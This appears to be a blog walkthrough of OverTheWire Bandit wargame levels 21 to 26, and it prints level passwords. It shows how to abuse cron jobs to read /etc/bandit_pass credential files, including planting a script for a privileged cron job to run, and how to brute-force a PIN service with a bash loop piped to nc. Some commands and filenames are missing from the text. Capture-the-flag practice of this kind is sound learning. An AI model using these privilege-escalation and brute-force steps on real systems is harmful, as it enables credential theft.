Bandit 21

Very easy level, you’ll need to read about cron, but for now first paragraph of this link will do:

 "Cron is a system daemon used to execute desired tasks (in the background) at
 designated times.
 A crontab file is a simple text file containing a list of commands meant to be
 run at specified times. It is edited using the crontab command. The commands
 in the crontab file (and their run times) are checked by the cron daemon,
 which executes them in the system background."

First, let’s see which cron job is being executed for bandit 22:

[email protected]:~$ cd /etc/cron.d
[email protected]:/etc/cron.d$ ls
behemoth4_cleanup cronjob_bandit23    leviathan5_cleanup  natas-session-toucher natas25_cleanup~ php5    semtex0-ppc vortex0
cron-apt      cronjob_bandit24    manpage3_resetpw_job natas-stats      natas26_cleanup  semtex0-32 semtex5   vortex20
cronjob_bandit22  cronjob_bandit24_root melinda-stats     natas25_cleanup    natas27_cleanup  semtex0-64 sysstat

[email protected]:/etc/cron.d$ cat cronjob_bandit2
cat: cronjob_bandit2: No such file or directory
[email protected]:/etc/cron.d$ cat cronjob_bandit22
* * * * * bandit22 /usr/bin/ &> /dev/null

What does /usr/bin/ do?

[email protected]:/etc/cron.d$ cat /usr/bin/
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

First line after the sha-bang gives the temp file the following permissions: user can write, anyone can read. So we’re able to read the content of that file.
Second line copies the content of /etc/bandit_pass/bandit22 (containing our password) to the temporary file. Check it’s content and you’ll find the password to the next level!

Password: Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

Bandit 22

Same steps as earlier, let’s see what the script /usr/bin/

[email protected]:/etc/cron.d$ cat /usr/bin/
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget

So we need to get the MD5 encoding of $target (which is “I am user bandit23”),
then read the content of /tmp/MD5output:

[email protected]:/etc/cron.d$ md5sum <<< $(echo I am user bandit23)
8ca319486bfbbc3663ea0fbe81326349 -
[email protected]:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
[email protected]:/etc/cron.d$

Bandit 23

More of the same, let’s see what the script does:

[email protected]:/etc/cron.d$ cat /usr/bin/
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
if [ "$i" != "." -a "$i" != ".." ];
echo "Handling $i"
timeout -s 9 60 "./$i"
rm -f "./$i"

So it navigates to /var/spool/bandit24 directory and executes all scripts as bandit24. Alright, so we need to make it write the content of /etc/bandit_pass/bandit24 somewhere, maybe a temporary file? Make sure you give the script and the folder the correct permissions.

[email protected]:/etc/cron.d$ mkdir /tmp/somefunnyname
[email protected]:/etc/cron.d$ chmod 777 /tmp/somefunnyname
[email protected]:/etc/cron.d$ cd /tmp/somefunnyname
[email protected]:/tmp/somefunnyname$ cat >
cat /etc/bandit_pass/bandit24 > /tmp/somefunnyname/password
[email protected]:/tmp/somefunnyname$ chmod 777
[email protected]:/tmp/somefunnyname$ cp /var/spool/bandit24/
[email protected]:/tmp/somefunnyname$ ls -al /var/spool/bandit24/
total 153
drwxrwxrwx 2 bandit24 bandit23 151552 Oct 21 23:08 .
drwxr-xr-x 6 root   root    4096 May 3 2015 ..
[email protected]:/tmp/somefunnyname$ ls
[email protected]:/tmp/somefunnyname$ cat password

Script got deleted, which means cron executed it and we got our password!

Bandit 24

Our first bash for loop! You may want to read more about it here.

First let’s see how the daemon behaves. You’ll realize it allows multiple input, we can create a list with format “<password> <pin>” for 0000-9999 and feed it to NC. Let’s create a temp directory and navigate to it:

[email protected]:/tmp/abatchy24$ `for i in $(seq 0000 9999); do echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i >>list.txt; done  `
[email protected]:/tmp/abatchy24$ `head list.txt`
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 1
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 2
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 3
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 5
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 6
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 7
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 8
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9
[email protected]:/tmp/abatchy24$ `tail list.txt`
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9990
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9991
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9992
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9993
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9994
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9995
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9996
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9997
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9998
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9999
[email protected]:/tmp/abatchy24$ `nc -nv 30002 < list.txt | grep -v Wrong`
Connection to 30002 port [tcp/*] succeeded!
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG


Bandit 25

Just another SSH key, but you may want to look into /etc/passwd file…

Bandit 26

Research escaping restrcited shell ;)